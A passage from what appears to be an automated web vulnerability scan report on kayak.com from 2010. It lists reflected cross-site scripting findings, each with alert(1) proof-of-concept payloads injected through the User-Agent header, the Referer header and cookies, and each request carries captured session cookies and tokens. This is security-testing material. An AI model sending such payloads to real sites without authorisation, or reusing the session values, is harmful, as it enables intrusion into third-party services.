Set-Cookie: cluster=4; Domain=.kayak.com; Path=/
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Cache-Control: pre-check=0, post-check=0
Expires: 0
Content-Length: 15755

<html>
<head>
<meta property="fb:app_id" content="163003079204"/>
<meta property="og:site_name" content="KAYAK"/>

<link rel="stylesheet" href="/v349/css/reset-fonts-grids.css" type="tex
...[SNIP]...
<input type="hidden" name="redir" value="http://www.google.com/search?hl=en&q=48e8e"><a>4d530056aab" />
...[SNIP]...

2.47. http://www.kayak.com/s/sparkle [User-Agent HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /s/sparkle

Issue detail

The value of the User-Agent HTTP header is copied into the HTML document as plain text between tags. The payload 98da2<script>alert(1)</script>28ea69dba76 was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /s/sparkle HTTP/1.1
Host: www.kayak.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)98da2<script>alert(1)</script>28ea69dba76
Connection: close
Cookie: dc=dc2; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p2.med.sid=; kayak=Z0gsTwHT79ulH4b$526T; Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; p1.med.sc=4; p1.med.st=vacations; p1.med.searched=true; cluster=4; p.med.sid=; p4.som.sid=; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/plain; charset=UTF-8
Date: Sat, 13 Nov 2010 20:43:44 GMT
Content-Length: 9523
Connection: close
Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/
Set-Cookie: cluster=4; Domain=.kayak.com; Path=/

<html>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<meta http-equiv="pragma" content="no-cache" />
<meta name="robots" content="noindex,nofollow" />
<head>
<title>Error |
...[SNIP]...

Version: R90 20101110.171952
Date: 20101113.154343
Client: 174.121.222.18
Server: sparkle038 (p4.som)
URL: http://www.kayak.com/s/sparkle
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)98da2<script>alert(1)</script>28ea69dba76
<hr>
...[SNIP]...

2.48. http://www.kayak.com/vacations [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /vacations

Issue detail

The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload f5579<script>alert(1)</script>5bee717ac4c was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /vacations HTTP/1.1
Host: www.kayak.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?hl=en&q=f5579<script>alert(1)</script>5bee717ac4c
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; kayak=Z0gsTwHT79ulH4b$526T; p1.med.sc=2; p1.med.searched=true; p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A; p1.med.st=deals; dc=dc2; cluster=4

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-UA-Compatible: IE=8
Content-Type: text/html;charset=utf-8
Vary: Accept-Encoding
Date: Sat, 13 Nov 2010 20:44:29 GMT
Connection: close
Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/
Set-Cookie: cluster=4; Domain=.kayak.com; Path=/
Set-Cookie: p1.med.st=vacations; Domain=.kayak.com; Expires=Fri, 11-Feb-2011 20:44:29 GMT; Path=/
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Cache-Control: pre-check=0, post-check=0
Expires: 0
Content-Length: 58646

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<!-- Copyright 2004-2010 Kayak Software Corp, All Rights Reserved.
...[SNIP]...
<b>"f5579<script>alert(1)</script>5bee717ac4c"</b>
...[SNIP]...

2.49. http://www.kayak.com/vs/client%20page%20load/final%20results/car/ms/23345 [User-Agent HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /vs/client%20page%20load/final%20results/car/ms/23345

Issue detail

The value of the User-Agent HTTP header is copied into the HTML document as plain text between tags. The payload 8713d<script>alert(1)</script>8b161f1ef9b was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /vs/client%20page%20load/final%20results/car/ms/23345 HTTP/1.1
Host: www.kayak.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)8713d<script>alert(1)</script>8b161f1ef9b
Connection: close
Cookie: dc=dc2; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p2.med.sid=; kayak=Z0gsTwHT79ulH4b$526T; Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; p1.med.sc=4; p1.med.st=vacations; p1.med.searched=true; cluster=4; p.med.sid=; p4.som.sid=; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/plain; charset=UTF-8
Date: Sat, 13 Nov 2010 20:46:33 GMT
Content-Length: 9647
Connection: close
Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/
Set-Cookie: cluster=4; Domain=.kayak.com; Path=/

<html>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<meta http-equiv="pragma" content="no-cache" />
<meta name="robots" content="noindex,nofollow" />
<head>
<title>Error |
...[SNIP]...
lient: 174.121.222.18
Server: sparkle066 (p4.som)
URL: http://www.kayak.com/s/sparkle/vs/client%20page%20load/final%20results/car/ms/23345
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)8713d<script>alert(1)</script>8b161f1ef9b
<hr>
...[SNIP]...

2.50. http://www.kayak.com/vs/client%20page%20load/final%20results/hotel/ms/17578 [User-Agent HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /vs/client%20page%20load/final%20results/hotel/ms/17578

Issue detail

The value of the User-Agent HTTP header is copied into the HTML document as plain text between tags. The payload 1bed3<script>alert(1)</script>c6758e051e0 was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /vs/client%20page%20load/final%20results/hotel/ms/17578 HTTP/1.1
Host: www.kayak.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)1bed3<script>alert(1)</script>c6758e051e0
Connection: close
Cookie: dc=dc2; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p2.med.sid=; kayak=Z0gsTwHT79ulH4b$526T; Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; p1.med.sc=4; p1.med.st=vacations; p1.med.searched=true; cluster=4; p.med.sid=; p4.som.sid=; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/plain; charset=UTF-8
Date: Sat, 13 Nov 2010 20:46:30 GMT
Content-Length: 9651
Connection: close
Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/
Set-Cookie: cluster=4; Domain=.kayak.com; Path=/

<html>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<meta http-equiv="pragma" content="no-cache" />
<meta name="robots" content="noindex,nofollow" />
<head>
<title>Error |
...[SNIP]...
ent: 174.121.222.18
Server: sparkle047 (p4.som)
URL: http://www.kayak.com/s/sparkle/vs/client%20page%20load/final%20results/hotel/ms/17578
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)1bed3<script>alert(1)</script>c6758e051e0
<hr>
...[SNIP]...

2.51. http://www.kayak.com/vs/client%20page%20load/final%20results/vacation/ms/9906 [User-Agent HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /vs/client%20page%20load/final%20results/vacation/ms/9906

Issue detail

The value of the User-Agent HTTP header is copied into the HTML document as plain text between tags. The payload 54352<script>alert(1)</script>8b20156d8c was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /vs/client%20page%20load/final%20results/vacation/ms/9906 HTTP/1.1
Host: www.kayak.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)54352<script>alert(1)</script>8b20156d8c
Connection: close
Cookie: dc=dc2; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p2.med.sid=; kayak=Z0gsTwHT79ulH4b$526T; Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; p1.med.sc=4; p1.med.st=vacations; p1.med.searched=true; cluster=4; p.med.sid=; p4.som.sid=; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/plain; charset=UTF-8
Date: Sat, 13 Nov 2010 20:46:34 GMT
Content-Length: 9653
Connection: close
Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/
Set-Cookie: cluster=4; Domain=.kayak.com; Path=/

<html>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<meta http-equiv="pragma" content="no-cache" />
<meta name="robots" content="noindex,nofollow" />
<head>
<title>Error |
...[SNIP]...
t: 174.121.222.18
Server: sparkle023 (p4.som)
URL: http://www.kayak.com/s/sparkle/vs/client%20page%20load/final%20results/vacation/ms/9906
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)54352<script>alert(1)</script>8b20156d8c
<hr>
...[SNIP]...

2.52. http://www.kayak.com/vs/client%20page%20load/front%20door/flights/ms/475 [User-Agent HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /vs/client%20page%20load/front%20door/flights/ms/475

Issue detail

The value of the User-Agent HTTP header is copied into the HTML document as plain text between tags. The payload 321cd<script>alert(1)</script>91533aba3de was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /vs/client%20page%20load/front%20door/flights/ms/475 HTTP/1.1
Host: www.kayak.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)321cd<script>alert(1)</script>91533aba3de
Connection: close
Cookie: dc=dc2; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p2.med.sid=; kayak=Z0gsTwHT79ulH4b$526T; Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; p1.med.sc=4; p1.med.st=vacations; p1.med.searched=true; cluster=4; p.med.sid=; p4.som.sid=; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/plain; charset=UTF-8
Date: Sat, 13 Nov 2010 20:46:10 GMT
Content-Length: 9645
Connection: close
Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/
Set-Cookie: cluster=4; Domain=.kayak.com; Path=/

<html>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<meta http-equiv="pragma" content="no-cache" />
<meta name="robots" content="noindex,nofollow" />
<head>
<title>Error |
...[SNIP]...
Client: 174.121.222.18
Server: sparkle038 (p4.som)
URL: http://www.kayak.com/s/sparkle/vs/client%20page%20load/front%20door/flights/ms/475
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)321cd<script>alert(1)</script>91533aba3de
<hr>
...[SNIP]...

2.53. http://www.kayak.com/vs/client%20page%20load/front%20door/hotels/ms/3297 [User-Agent HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /vs/client%20page%20load/front%20door/hotels/ms/3297

Issue detail

The value of the User-Agent HTTP header is copied into the HTML document as plain text between tags. The payload 927bc<script>alert(1)</script>2bb1db32761 was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /vs/client%20page%20load/front%20door/hotels/ms/3297 HTTP/1.1
Host: www.kayak.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)927bc<script>alert(1)</script>2bb1db32761
Connection: close
Cookie: dc=dc2; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p2.med.sid=; kayak=Z0gsTwHT79ulH4b$526T; Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; p1.med.sc=4; p1.med.st=vacations; p1.med.searched=true; cluster=4; p.med.sid=; p4.som.sid=; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/plain; charset=UTF-8
Date: Sat, 13 Nov 2010 20:45:47 GMT
Content-Length: 9645
Connection: close
Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/
Set-Cookie: cluster=4; Domain=.kayak.com; Path=/

<html>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<meta http-equiv="pragma" content="no-cache" />
<meta name="robots" content="noindex,nofollow" />
<head>
<title>Error |
...[SNIP]...
Client: 174.121.222.18
Server: sparkle016 (p4.som)
URL: http://www.kayak.com/s/sparkle/vs/client%20page%20load/front%20door/hotels/ms/3297
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)927bc<script>alert(1)</script>2bb1db32761
<hr>
...[SNIP]...

2.54. http://www.kayak.com/vs/client%20page%20load/front%20door/hotels/ms/731 [User-Agent HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /vs/client%20page%20load/front%20door/hotels/ms/731

Issue detail

The value of the User-Agent HTTP header is copied into the HTML document as plain text between tags. The payload 5d976<script>alert(1)</script>0bb33d80cf7 was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /vs/client%20page%20load/front%20door/hotels/ms/731 HTTP/1.1
Host: www.kayak.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)5d976<script>alert(1)</script>0bb33d80cf7
Connection: close
Cookie: dc=dc2; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p2.med.sid=; kayak=Z0gsTwHT79ulH4b$526T; Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; p1.med.sc=4; p1.med.st=vacations; p1.med.searched=true; cluster=4; p.med.sid=; p4.som.sid=; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/plain; charset=UTF-8
Date: Sat, 13 Nov 2010 20:46:15 GMT
Content-Length: 9643
Connection: close
Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/
Set-Cookie: cluster=4; Domain=.kayak.com; Path=/

<html>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<meta http-equiv="pragma" content="no-cache" />
<meta name="robots" content="noindex,nofollow" />
<head>
<title>Error |
...[SNIP]...

Client: 174.121.222.18
Server: sparkle056 (p4.som)
URL: http://www.kayak.com/s/sparkle/vs/client%20page%20load/front%20door/hotels/ms/731
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)5d976<script>alert(1)</script>0bb33d80cf7
<hr>
...[SNIP]...

2.55. http://www.kayak.com/vs/client%20page%20load/front%20door/vacations/ms/10018 [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.kayak.com
Path:   /vs/client%20page%20load/front%20door/vacations/ms/10018

Issue detail

The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2b0e3"><a>3a109253d5b was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /vs/client%20page%20load/front%20door/vacations/ms/10018 HTTP/1.1
Host: www.kayak.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: dc=dc2; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sid=18-TWVpsjgNEOyAenDsVTMX; p2.med.sid=; kayak=Z0gsTwHT79ulH4b$526T; Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; p1.med.sc=4; p1.med.st=vacations; p1.med.searched=true; cluster=4; p.med.sid=; p4.som.sid=; p1.med.token=CWws4BMUH2Tvc1RIPMoQ6w;
Referer: http://www.google.com/search?hl=en&q=2b0e3"><a>3a109253d5b

Response (redirected)

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-UA-Compatible: IE=8
Content-Type: text/html;charset=utf-8
Date: Sat, 13 Nov 2010 22:48:53 GMT
Content-Length: 15755
Connection: close
Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/
Set-Cookie: cluster=4; Domain=.kayak.com; Path=/
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Cache-Control: pre-check=0, post-check=0
Expires: 0

<html>
<head>
<meta property="fb:app_id" content="163003079204"/>
<meta property="og:site_name" content="KAYAK"/>

<link rel="stylesheet" href="/v349/css/reset-fonts-grids.css" type="tex
...[SNIP]...
<input type="hidden" name="redir" value="http://www.google.com/search?hl=en&q=2b0e3"><a>3a109253d5b" />
...[SNIP]...

2.56. http://www.kayak.com/vs/client%20page%20load/front%20door/vacations/ms/602 [User-Agent HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /vs/client%20page%20load/front%20door/vacations/ms/602

Issue detail

The value of the User-Agent HTTP header is copied into the HTML document as plain text between tags. The payload feab8<script>alert(1)</script>79d4fc22906 was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /vs/client%20page%20load/front%20door/vacations/ms/602 HTTP/1.1
Host: www.kayak.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)feab8<script>alert(1)</script>79d4fc22906
Connection: close
Cookie: dc=dc2; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p2.med.sid=; kayak=Z0gsTwHT79ulH4b$526T; Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; p1.med.sc=4; p1.med.st=vacations; p1.med.searched=true; cluster=4; p.med.sid=; p4.som.sid=; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/plain; charset=UTF-8
Date: Sat, 13 Nov 2010 20:46:26 GMT
Content-Length: 9649
Connection: close
Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/
Set-Cookie: cluster=4; Domain=.kayak.com; Path=/

<html>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<meta http-equiv="pragma" content="no-cache" />
<meta name="robots" content="noindex,nofollow" />
<head>
<title>Error |
...[SNIP]...
ient: 174.121.222.18
Server: sparkle065 (p4.som)
URL: http://www.kayak.com/s/sparkle/vs/client%20page%20load/front%20door/vacations/ms/602
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)feab8<script>alert(1)</script>79d4fc22906
<hr>
...[SNIP]...

2.57. http://www.kayak.com/vs/cmpallclk.hotels [User-Agent HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /vs/cmpallclk.hotels

Issue detail

The value of the User-Agent HTTP header is copied into the HTML document as plain text between tags. The payload 934d3<script>alert(1)</script>77953802dca was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /vs/cmpallclk.hotels HTTP/1.1
Host: www.kayak.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)934d3<script>alert(1)</script>77953802dca
Connection: close
Cookie: dc=dc2; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p2.med.sid=; kayak=Z0gsTwHT79ulH4b$526T; Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; p1.med.sc=4; p1.med.st=vacations; p1.med.searched=true; cluster=4; p.med.sid=; p4.som.sid=; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/plain; charset=UTF-8
Date: Sat, 13 Nov 2010 20:46:40 GMT
Content-Length: 9567
Connection: close
Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/
Set-Cookie: cluster=4; Domain=.kayak.com; Path=/

<html>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<meta http-equiv="pragma" content="no-cache" />
<meta name="robots" content="noindex,nofollow" />
<head>
<title>Error |
...[SNIP]...
10.171952
Date: 20101113.154640
Client: 174.121.222.18
Server: sparkle031 (p4.som)
URL: http://www.kayak.com/s/sparkle/vs/cmpallclk.hotels
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)934d3<script>alert(1)</script>77953802dca
<hr>
...[SNIP]...

2.58. http://www.kayak.com/ [Apache cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /

Issue detail

The value of the Apache cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2df21"-alert(1)-"94d4e606bb1 was submitted in the Apache cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET / HTTP/1.1
Host: www.kayak.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache=rnneEg-AAABLEb26gQ-44-BKv3ag2df21"-alert(1)-"94d4e606bb1; kayak=Z0gsTwHT79ulH4b$526T; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A; p1.med.st=vacations; p1.med.sc=4; p1.med.searched=true

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-UA-Compatible: IE=8
Content-Type: text/html;charset=utf-8
Vary: Accept-Encoding
Date: Sat, 13 Nov 2010 21:39:10 GMT
Connection: close
Set-Cookie: dc=dc1; Domain=.kayak.com; Path=/
Set-Cookie: cluster=2; Domain=.kayak.com; Path=/
Set-Cookie: p.med.sid=; Domain=.kayak.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: p4.som.sid=; Domain=.kayak.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: p1.med.sid=6-uMgXDy6TO6Gmc9kvOhuY; Domain=.kayak.com; Path=/
Set-Cookie: p1.med.token=ChEx9jdT5uqlCSRmY3Zz0w; Domain=.kayak.com; Expires=Wed, 12-Jan-2011 21:39:10 GMT; Path=/
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Cache-Control: pre-check=0, post-check=0
Expires: 0
Content-Length: 55464

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<!-- Copyright 2004-2010 Kayak Software Corp, All Rights Reserved.
...[SNIP]...
<iframe/>", {frameborder: 0, height: 1, src: "http://fls.doubleclick.net/activityi;src=2481777;type=front978;cat=homep932;u6=6-uMgXDy6TO6Gmc9kvOhuY;u5=rnneEg-AAABLEb26gQ-44-BKv3ag2df21"-alert(1)-"94d4e606bb1;ord=1;num=2923140272128.8359375?", width: 1}).appendTo("body");

jq("<script/>
...[SNIP]...

2.59. http://www.kayak.com/ [p1.med.st cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /

Issue detail

